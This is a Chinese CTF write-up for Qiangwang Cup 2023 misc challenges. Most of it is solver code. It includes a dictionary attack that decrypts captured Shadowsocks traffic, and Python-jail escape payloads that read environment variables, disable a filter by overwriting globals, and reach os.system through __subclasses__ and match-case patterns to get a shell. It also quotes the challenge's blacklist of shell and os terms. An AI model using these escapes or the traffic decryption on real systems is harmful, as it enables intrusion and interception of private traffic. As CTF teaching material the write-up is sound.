强网杯 2023

被密码✌强势带飞,被空白✌jail摁着摩擦

好好好,周末两天白打了,这wp就是个纪念了

Misc

Easyfuzz

  • pwntools 硬爆
from pwn import *
import string

a = string.ascii_lowercase
ans = ["0"]*9
io = remote("xxx.xxx.xxx.xxx", port)
maxn = 2
for i in range(9):
    for j in a:
        ans[i] = j
        ans2 = "".join(ans)
        text = io.recvuntil(b"10 bytes):")
        io.sendline(ans2.encode())
        text = io.recvline()
        #print(text)
        n = text.split(b":")[1].count(b"1")
        print(n)
        if(n > maxn):
            maxn = n
            print(ans)
            break

谍影重重2.0

题目描述

小明是某间谍组织的一员,他终日监听着我国某重点军事基地的飞行动态,妄图通过分析参数找到我国飞的最快的飞机。我国费尽千辛万苦抓住了他,并在他的电脑上找到了一段他监听的信息,请分析出这段信息中飞的最快的飞机。格式为flag{md5(ICAO CODE of the fastest plane)}
附件内所涉及的信息均为公开信息,题目描述也均为虚构,切勿当真

ADS-B

https://mode-s.org/decode/content/ads-b/1-basics.html
  • 提取出tcp的payload,选择pyaload并应用为列,导出分组解析结果
第一次用这个功能,真好用
单独把payload这一列提取出来
  • 使用pyModeS解析数据,并且提取出最大速度的飞机
import pyModeS as pms

data = open("data.csv", "r", encoding="utf-8").read().split("\n")[1:-1]
data = [i.split(",") for i in data]
data = [i[6].strip('""') for i in data if i[6] != '""']
cccc = []
for i in data:
    line = i[18:]
    b = pms.typecode(line)
    print(pms.tell(line))
    if b == 19:
        cccc.append(pms.adsb.velocity(line))
cccc.sort(key=lambda x: x[0])
print(cccc)
  • output
[(142, 49.267893300290815, -768, 'GS'), (143, 48.66418432074072, -768, 'GS'), (143, 48.66418432074072, -768, 'GS'), (144, 48.92590770368398, -768, 'GS'), (145, 48.628532155436424, -768, 'GS'), (145, 48.628532155436424, -768, 'GS'), (147, 48.85063882391076, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (148, 48.55926682128322, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (149, 48.52561519717446, -768, 'GS'), (150, 18.555065585131956, -384, 'GS'), (150, 18.555065585131956, -448, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.49259316085605, -768, 'GS'), (150, 48.77819770716159, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (151, 48.742988295687134, -768, 'GS'), (152, 48.99091309842978, -768, 'GS'), (152, 48.99091309842978, -768, 'GS'), (152, 48.99091309842978, -768, 'GS'), (153, 49.47946045235028, -832, 'GS'), (153, 49.23639479905884, -768, 'GS'), (154, 19.25507778928384, -192, 'GS'), (154, 19.25507778928384, -192, 'GS'), (156, 17.50716304846033, -640, 'GS'), (156, 17.049030972109822, -576, 'GS'), (159, 18.321040862628898, -448, 'GS'), (160, 18.208484470580824, -448, 'GS'), (160, 48.780568534301096, -768, 'GS'), (160, 48.54476645559488, -768, 'GS'), (163, 18.5457722427678, -448, 'GS'), (371, 213.3474959459136, -64, 'GS')]
  • 最大速度为371,则flag{md5(79A05E)}为
                     Message: 8d79a05e990ccda6f80886dd9544 
                ICAO address: 79a05e 
             Downlink Format: 17 
                    Protocol: Mode-S Extended Squitter (ADS-B) 
                        Type: Airborne velocity 
                       Speed: 371 knots
                       Track: 213.3474959459136 degrees
               Vertical rate: -64 feet/minute
                        Type: Ground speed 

谍影重重3.0

题目描述

小明被我国抓获之后对所作所为供认不讳,在对他个人电脑监控的过程中,发现存在通过特殊隧道获取境外组织下发的任务文件,请你协助分析出他所获取到的任务文件名称。
flag提交格式为flag{md5(文件名)}
附件内所涉及的信息均为公开信息,题目描述也均为虚构内容,如有雷同,切勿当真!

相关链接

  • 挺“敏感”的一个题,要求解析shadowsocks流量的文件名

密钥生成

根据密码生成密钥,由于和客户端拥有相同的密码和密钥生成算法,所以生成的AES-256-cfb密钥也是一样的
  • 尝试进行弱口令爆破,稍微修改一下shadowsocks的加解密源代码
import os
import sys
import hashlib
from shadowsocks.crypto import rc4_md5, openssl, mbedtls, sodium, table

CIPHER_ENC_ENCRYPTION = 1
CIPHER_ENC_DECRYPTION = 0

METHOD_INFO_KEY_LEN = 0
METHOD_INFO_IV_LEN = 1
METHOD_INFO_CRYPTO = 2

method_supported = {}
method_supported.update(rc4_md5.ciphers)
method_supported.update(openssl.ciphers)
method_supported.update(mbedtls.ciphers)
method_supported.update(sodium.ciphers)
method_supported.update(table.ciphers)

def random_string(length):
    return os.urandom(length)

cached_keys = {}

def to_bytes(s):
    if bytes != str:
        if type(s) == str:
            return s.encode('utf-8')
    return s

def try_cipher(key, method=None, crypto_path=None):
    Cryptor(key, method, crypto_path)

def EVP_BytesToKey(password, key_len, iv_len):
    # equivalent to OpenSSL's EVP_BytesToKey() with count 1
    # so that we make the same key and iv as nodejs version
    cached_key = '%s-%d-%d' % (password, key_len, iv_len)
    r = cached_keys.get(cached_key, None)
    if r:
        return r
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]
    cached_keys[cached_key] = (key, iv)
    return key, iv

class Cryptor(object):
    def __init__(self, password, method, crypto_path=None):
        """
        Crypto wrapper
        :param password: str cipher password
        :param method: str cipher
        :param crypto_path: dict or none
            {'openssl': path, 'sodium': path, 'mbedtls': path}
        """
        self.password = password
        self.key = None
        self.method = method
        self.iv_sent = False
        self.cipher_iv = b''
        self.decipher = None
        self.decipher_iv = None
        self.crypto_path = crypto_path
        method = method.lower()
        self._method_info = Cryptor.get_method_info(method)
        if self._method_info:
            self.cipher = self.get_cipher(
                password, method, CIPHER_ENC_ENCRYPTION,
                random_string(self._method_info[METHOD_INFO_IV_LEN])
            )
        else:
            sys.exit(1)

    @staticmethod
    def get_method_info(method):
        method = method.lower()
        m = method_supported.get(method)
        return m

    def iv_len(self):
        return len(self.cipher_iv)

    def get_cipher(self, password, method, op, iv):
        password = to_bytes(password)
        m = self._method_info
        if m[METHOD_INFO_KEY_LEN] > 0:
            key, _ = EVP_BytesToKey(password,
                                    m[METHOD_INFO_KEY_LEN],
                                    m[METHOD_INFO_IV_LEN])
        else:
            # key_length == 0 indicates we should use the key directly
            key, iv = password, b''
        self.key = key
        iv = iv[:m[METHOD_INFO_IV_LEN]]
        if op == CIPHER_ENC_ENCRYPTION:
            # this iv is for cipher not decipher
            self.cipher_iv = iv
        return m[METHOD_INFO_CRYPTO](method, key, iv, op, self.crypto_path)

    def encrypt(self, buf):
        if len(buf) == 0:
            return buf
        if self.iv_sent:
            return self.cipher.encrypt(buf)
        else:
            self.iv_sent = True
            return self.cipher_iv + self.cipher.encrypt(buf)

    def decrypt(self, buf):
        if len(buf) == 0:
            return buf
        if self.decipher is None:
            decipher_iv_len = self._method_info[METHOD_INFO_IV_LEN]
            decipher_iv = buf[:decipher_iv_len]
            self.decipher_iv = decipher_iv
            self.decipher = self.get_cipher(
                self.password, self.method,
                CIPHER_ENC_DECRYPTION,
                decipher_iv
            )
            buf = buf[decipher_iv_len:]
            if len(buf) == 0:
                return buf
        return self.decipher.decrypt(buf)

def gen_key_iv(password, method):
    method = method.lower()
    (key_len, iv_len, m) = method_supported[method]
    if key_len > 0:
        key, _ = EVP_BytesToKey(password, key_len, iv_len)
    else:
        key = password
    iv = random_string(iv_len)
    return key, iv, m

def encrypt_all_m(key, iv, m, method, data, crypto_path=None):
    result = [iv]
    cipher = m(method, key, iv, 1, crypto_path)
    result.append(cipher.encrypt_once(data))
    return b''.join(result)

def decrypt_all(password, method, data, crypto_path=None):
    result = []
    method = method.lower()
    (key, iv, m) = gen_key_iv(password, method)
    iv = data[:len(iv)]
    data = data[len(iv):]
    cipher = m(method, key, iv, CIPHER_ENC_DECRYPTION, crypto_path)
    result.append(cipher.decrypt_once(data))
    return b''.join(result), key, iv

def encrypt_all(password, method, data, crypto_path=None):
    result = []
    method = method.lower()
    (key, iv, m) = gen_key_iv(password, method)
    result.append(iv)
    cipher = m(method, key, iv, CIPHER_ENC_ENCRYPTION, crypto_path)
    result.append(cipher.encrypt_once(data))
    return b''.join(result)

CIPHERS_TO_TEST = [
    'aes-256-cfb',
]

if __name__ == '__main__':
    a = "e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206"
    cipher = bytes.fromhex(a)
    f = open("rockyou.txt","rb").readlines()
    for i in f:
        key = i[:-1]
        plain2, key, iv = decrypt_all(key, 'aes-256-cfb', cipher)
        if(b"HTTP" in plain2):
            print(plain2)
  • 这样就看可以得到解密后的流量,还有个重要的问题,shadowsocks是什么东西?有啥用?

WABBY Wabbo Radio

比赛时的一点儿乐趣来源,虽然引起了队友的烦躁(狗头

题目描述

歪比八卜
  • html中请求了一些音频,仔细听发现有morsecode
  • hint1.wav
DOYOUKNOWQAM?
  • hint2.wav
MAYBEFLAGISPNGPICTURE
  • 还有个flag.wav,就不是morsecode了,QAM是什么?
import libnum 

f = open("flag.wav","rb").read()
f = f[88:]
res = ""
for i in range(3,len(f),4):
    if(f[i] == 63):
        res += "10"
    elif(f[i] == 192):
        res += "00"
    elif(f[i] == 191):
        res += "01"
    else:
        res += "11"
fw = open("1.png","wb")
fw.write(libnum.b2s(res))
  • cjj nb!!!yyds!!!

HAPPY CHESS

  • 没啥说的,算法题,和网上常见的棋盘反转不太一样,选择一点后同时反转其所在的行和列
Welcome to Happy Chess!

The rule is to select a piece and flip all the pieces horizontally and vertically ~
Your goal is to change all the pieces to the same color ~
You will play 10 rounds of the game, and you can get the flag if your total number of moves is no more than 239 ~
If you fail in a round, it will be directly regarded as using 240 steps :)

Have fun ~
  • exp.py from cjj !!!
import gurobipy as gp
from gurobipy import GRB
from pwn import *

maxn = 9
def cul(n,data):
    # create the model object
    model = gp.Model("Flap Game")
    

    # define decision variables
    x = {}
    y = {}
    for i in range(0, maxn+2):
        for j in range(0, maxn+2):
            if i < 1 or i > maxn or j < 1 or j > maxn:
                x[i, j] = model.addVar(vtype=GRB.BINARY, ub=0, name=f"x_{i}_{j}")
            else:
                x[i, j] = model.addVar(vtype=GRB.BINARY, name=f"x_{i}_{j}")
                y[i, j] = model.addVar(vtype=GRB.INTEGER, name=f"y_{i}_{j}")

    # set the objective function
    model.setObjective(gp.quicksum(x[i, j] for i in range(1, maxn+1) for j in range(1, maxn+1)), GRB.MINIMIZE)

    # add the constraint x[i, j] + x[i-1, j] + x[i+1, j] + x[i, j-1] + x[i, j+1] = 2*y[i, j] + 1
    for i in range(1, maxn+1):
        for j in range(1, maxn+1):
            if(n):
                if(data[i-1][j-1] == 0):
                    model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j]== 2*y[i, j] + 1)
                else:
                    model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j] == 2*y[i, j])
            else:
                if(data[i-1][j-1] == 1):
                    model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j] == 2*y[i, j] + 1)
                else:
                    model.addConstr(gp.quicksum(x[ii, j] for ii in range(1, maxn+1)) + gp.quicksum(x[i, jj] for jj in range(1, maxn+1)) - x[i, j] == 2*y[i, j])

    # optimize the model
    model.Params.outputFlag = 0
    model.optimize()

    # print the results
    ans = []
    if model.status == GRB.OPTIMAL:
        for i in range(1, maxn+1):
            for j in range(1, maxn+1):
                if(x[i, j].x == 1.0):
                    ans.append(f"{i} {j}")
                elif(x[i, j].x != 0.0):
                    print(x[i, j].x)
        return int(model.objVal),ans
    else:
        return 0,[]

io = remote("47.104.199.71", 10075)
text = io.recvuntil(b">")
print(text)
io.sendline(b'icq234edf69a7ddef70dbd8f0051e94c')
text = io.recvlines(10)
print(text)

for n in range(10):
    data = [[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0]]
    text = io.recvline()
    print(text)
    text = io.recvlines(9)
    print(text)
    for i in range(9):
        res = text[i].replace(b"\xe2\x97\x8f",b"0").replace(b"\xe2\x97\x8b",b"1").decode()
        print(res)
        for j in range(9):
            data[i][j] = int(res[j])
    print(data)

    ans1 = cul(1,data)
    print(ans1)
    ans2 = cul(0,data)
    print(ans2)

    if(ans1[0] != 0 and ans2[0] != 0):
        if(ans1[0] < ans2[0]):
            ans = ans1
        else:
            ans = ans2
    elif(ans1[0] != 0):
        ans = ans1
    elif(ans2[0] != 0):
        ans = ans2

    print(ans)
    for i in range(ans[0]):
        text = io.recvuntil(b">")
        #print(text)
        io.sendline(ans[1][i])
        
    text = io.recvuntil(b"Success")
    print(text)
    text = io.recvlines(2)
    print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)
text = io.recvline()
print(text)

Pyjail ! It’s myFILTER !!!

题目描述

你能否能帮助她绕过filter呢?是时候拿出真本事!提示:本题需要一定的成功率,如果你认为你的payload能够工作,请多尝试几遍!
  • 非预期了,经典环境变量
{print(open("/proc/1/environ").read())}
  • server.py,简简单单把后端搞下来,以后玩 :)
import code, os, subprocess
import pty

WELCOME = '''
  _____        _       _ _   _   _____ _   _                       ______ _____ _   _______ ______ _____    _ _
 |  __ \      (_)     (_) | | | |_   _| | ( )                     |  ____|_   _| | |__   __|  ____|  __ \  | | |
 | |__) |   _  _  __ _ _| | | |   | | | |_|/ ___   _ __ ___  _   _| |__    | | | |    | |  | |__  | |__) | | | |
 |  ___/ | | || |/ _` | | | | |   | | | __| / __| | '_ ` _ \| | | |  __|   | | | |    | |  |  __| |  _  /  | | |
 | |   | |_| || | (_| | | | |_|  _| |_| |_  \__ \ | | | | | | |_| | |     _| |_| |____| |  | |____| | \ \  |_|_|
 |_|    \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, |_|    |_____|______|_|  |______|_|  \_\ (_|_)
         __/ |/ |                                             __/ |
        |___/__/                                             |___/
'''

SOURCE_CODE = '''
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")
'''

def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback

print(WELCOME)
print("Python Version:python3.10")
print("Source Code:")
print(SOURCE_CODE)
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please bypass my filter !")

Pyjail ! It’s myRevenge !!!

题目描述

你能否能帮助她绕过filter呢?是时候拿出真本事!提示:本题需要一定的成功率,如果你认为你的payload能够工作,请多尝试几遍!
  • 上一题的复仇版本,主题思想很简单,通过删除环境变量中的过滤函数和其他限制,为最后的poc扫除障碍,比赛的时候还是尝试看看有没有能漏的地方,试着读一下/start.sh
#!/bin/sh
# Add your startup script

# # CMD sed -i "s/FLAG/$ICQ_FLAG/" /home/ctf/flag* && unset ICQ_FLAG && rm -rf /etc/profile.d/pouchenv.sh && rm -rf /etc/instanceInfo && socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server.py",pty,stderr,setsid,sane,raw,echo=0

# FLAG_PATH=/flag
FLAG_PATH=/home/ctf/flag_`hexdump -n 32 -v -e '/1 "%02X"' /dev/urandom`
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
        "M_ECHO")
            echo -n ${ICQ_FLAG} > ${FLAG_PATH}
            FILE_MODE=755 # 娉ㄦ剰杩欓噷鐨勬潈闄愶紝flag鐨勬潈闄愪竴瀹氳娉ㄦ剰锛屾槸鎵€鏈夌敤鎴峰彲璇伙紝杩樻槸鍙湁root鍙
            chmod ${FILE_MODE} ${FLAG_PATH}
            ;;
        "M_SED")
            #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            ;;
        "M_SQL")
            # sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            # mysql -uroot -proot < ${FLAG_PATH}
            ;;
        *)
            ;;
    esac
    echo [+] ICQ_FLAG OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

#del eci env
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo

#clear fd
rm -rf /start.sh /root/start.sh

socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server_8F6C72124774022B.py",pty,stderr,setsid,sane,raw,echo=0 &
exec tail -f /dev/null
  • 没啥用,回归主线,全局变量本质上就是个字典,所有的全局变量都以键值对的形式存储,那么可以在每次的payload中替换掉一个全局变量
Python 3.10.10 (tags/v3.10.10:aad5f6a, Feb  7 2023, 17:20:36) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> def test():
...     print("1")
...
>>> test()
1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'b                      uiltins' (built-in)>, 'test': <function test at 0x0000020DCB683E20>}
>>> globals().update(test=lambda :print("2"))
>>> test()
2
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'b                      uiltins' (built-in)>, 'test': <function <lambda> at 0x0000020DCB7AEB90>}
>>>
  • 可行,接下来则是通过input来获取第二次的payload,虽然存在过滤,但是我们可以通过人为闭合单引号来绕过过滤
# 最终执行的代码
eval(f"f'{input_code}'")
  • 假设我们的输入为
{print()}''{input()}
  • 则执行的语句为
eval("f'{print()}''{input()}'")
  • 就可以让他分别执行,因为过滤了字符串input,则可以采用拼接的方式绕过,现在的输入为
{print()}''{inpu''t()}'#
  • 则执行的语句为
eval("f'{print()}''{inpu''t()}'#'")
  • 等同于
eval("f'{print()}' + '{inpu' + 't()}'#'")
  • 则会执行print()'{input' + 't}',得到
None{input()}
  • 因为是while循环,上一次循环的结果被带入一下次作为输入,则再执行
eval("f'None{input()}'")
  • 此时input()被执行,接收新的输入进入后续循环
  • 使my_filter()失效
{globals().update(dict(my_filter=lambda x:1))}''{inpu''t()}'#
  • 使len()失效,取消长度限制
{globals().update(dict(len=lambda x:0))}''{inpu''t()}'#
  • 导入os,列出当前目录(看来start.sh还是有点儿用的,起码告诉我flag就在本目录
{print("".__class__.__base__.__subclasses__()[180].__init__.__globals__["listdir"]("."))}''{inpu''t()}'#
  • 读flag
{print(open("flag_9C9DDF69F9BE0507C92049221919609C6970C866C00877CC7639EB2E8F13E5DF").read())}

Pyjail ! It’s myAST !!!!

有点儿颠的题目描述

至少见一面让我当面道歉好吗?(╥﹏╥)
我也吓了一跳,没想到事情会演变成那个样子…(╥﹏╥)
所以我想好好说明一下(╥﹏╥)
我要是知道就会阻止她们的,但是明明已经被AST检测过的代码还是执行了(╥﹏╥)
没能阻止大家真是对不起…(╥﹏╥)
你在生气对吧…(╥﹏╥)
我想你生气也是当然的(╥﹏╥)
但是请你相信我。user_input,本来不会通过我们预期的is_safe函数(╥﹏╥)
真的很对不起(╥﹏╥)
我答应你再也不会放人选手执行任意代码了(╥﹏╥)
我会让保证没有代码可以绕过我的AST过滤(╥﹏╥)
能不能稍微谈一谈?(╥﹏╥)
我真的把python AST的一切看得非常重要(╥﹏╥)
所以说,当代码被bypass的时候我和你一样难过(╥﹏╥)
我希望你能明白我的心情(╥﹏╥)
拜托了。我哪里都会去的(╥﹏╥)
我也会好好跟你说明我这么做的理由(╥﹏╥)
我想如果你能见我一面,你就一定能明白的(╥﹏╥)
我是你的同伴(╥﹏╥)
我好想见你(╥﹏╥)​
(neta from hackergame2023)
挽留无果后,现在is_safe函数变得更加困难.你能通过层层检查拿到flag吗?
BAD_ATS = {
    ast.Attribute,  # 属性访问
    ast.Subscript,  # 抽取操作 i[0]
    ast.comprehension,  # i for i in a
    ast.Delete,  # del 语句
    ast.Try,  # try 代码块
    ast.For,  # for 循环
    ast.ExceptHandler,  # Except 语句
    ast.With,  # with 语句
    ast.Import,  # import
    ast.ImportFrom,  # from ... import ...
    ast.Assign,  # 赋值
    ast.AnnAssign,  # 一次带有类型标注的赋值,注解 a: int = 1
    ast.Constant,  # 常量,"a", 1
    ast.ClassDef,  # 定义类
    ast.AsyncFunctionDef,  # 定义协程
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance,
    "print": print
}
  • 其中赋值这个操作很好绕过,用:=即可
str(a := object)
  • 这个题的主要思想在于通过match case实现去取属性,同时也能赋值,同时绕过两个ast,血赚好吧(
  • 在官方文档中,match有8种匹配模式
  • ast.MatchValue:匹配值
match test:
    case "Test-Value":
        pass
  • ast.MatchSingleton:匹配单例对象,NoneTrueFalse
match test:
    case None:
        pass
  • ast.MatchSequence:匹配序列(list),变长或固定长序列
match test:
    # 固定长序列
    case [1, 2]:
        pass
    # 变长序列
    case [1, 2, *rest]:
        pass
  • ast.MatchStar:匹配变长序列中的剩余部分
match test:
    # 剩余序列被赋值给rest
    case [1, 2, *rest]:
        pass
    case [*_]:
        pass
  • ast.MatchMapping:匹配映射(dict)
match test:
    # 此时 a 将会被赋值为 test["test"]
    case {"test": a}:
        pass
  • ast.MatchClass:匹配类(class),在这道题中至关重要
match test:
    case Test(a=0):
        pass
  • ast.MatchAs:匹配 As,算是可以赋值
match test:
    case 0 as a:
        print(a)
  • ast.MatchOr:匹配 Or,或,匹配多个目标,一个成功即成功
match test:
    case 0 | 1:
        pass
  • 在这个题目中,因为过滤了ast.Attribute,致使我们无法直接获取类属性,以达到RCE,此时,就可以通过ast.MatchClass搭配ast.MatchAs获取到变量的属性;以object类为起点找os
match object:
    case object(__class__=cl):
        pass

print(cl)
  • 因为过滤了__,所以此处利用__绕过,此时即获取到object.__class__并且赋值为cl
    • 注意,__class__的左侧双下划线必须为__,否则将无法normalize
    • 同时,在向服务端发送payload时,因windows的问题,手动输入的__将无法被执行,必须使用Linux或者pwntools发送payload
  • 在这个payload中,涉及到两个匹配模式,MatchClassMatchAs
    • __class__=一个常量时,将会变为MatchValue的子匹配
from ast import dump, parse

print(dump(parse("""
match object:
    case object(__class__=cl):
        pass
"""), indent=4))

"""
Module(
    body=[
        Match(
            subject=Name(id='object', ctx=Load()),
            cases=[
                match_case(
                    pattern=MatchClass(
                        cls=Name(id='object', ctx=Load()),
                        patterns=[],
                        kwd_attrs=[
                            '__class__'],
                        kwd_patterns=[
                            MatchAs(name='cl')]),
                    body=[
                        Pass()])])],
    type_ignores=[])
"""
  • 以此类推,我们可以一直获取到system函数
    • 在调用__subclasses__()后,我们得到的是一个list,因为无法使用ast.Subscript,可以使用list.pop()弹出需要的值
      • 因为无法使用常量,所以此时不能直接pop(num),可以使用True(() == ())代替1计算出数值
  • 但是最终执行system时参数为字符串,目前我们还没能获取到字符串常量(虽然可以通过chr()转换出字符串,但是还存在长度限制)
  • 空白✌的做法:利用环境变量中的__doc__,通过MatchSequence,获取到对应的字符并存为变量
>>> object.__doc__
'The base class of the class hierarchy.\n\nWhen called, it accepts no arguments and returns a new featureless\ninstance that has no instance attributes and cannot be given any.\n'
>>> 
  • 取字符
match str:
    case object(__doc__=dc):
        match list(dc):
            case [_,t,r,_,o,b,_,_,c,_,_,_,_,_,_,_,_,space,s,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_l,_,u,f,_,_,_,_,_,_,_,n,_,_,d,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,a,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,m,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,p,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,x,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,h,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,l,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,i,_,g,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,dot]:
                pass
  • 后续执行sh调用命令行则可以
system(s+h)
  • 完整payload from 空白✌
match str:
    case object(__doc__=dc):
        match list(dc):
